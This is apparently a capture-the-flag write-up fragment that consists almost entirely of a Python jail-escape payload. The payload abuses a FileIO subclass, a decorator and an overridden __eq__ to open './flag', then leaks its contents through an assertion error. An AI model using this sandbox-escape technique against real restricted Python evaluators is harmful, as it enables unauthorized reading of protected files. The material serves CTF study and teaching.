Rating:
The explanation for this solution is in the original write-up.
sys.stderr = sys.stdout
FileIO = sys.modules['io'].FileIO
class FlagIO(FileIO):
def __init__(self, fn):
pass
FlagIO.__eq__ = FileIO.__init__
@FlagIO
def hello():
pass
hello == "./flag"
flag = [a for a in hello]
assert False, flag
--END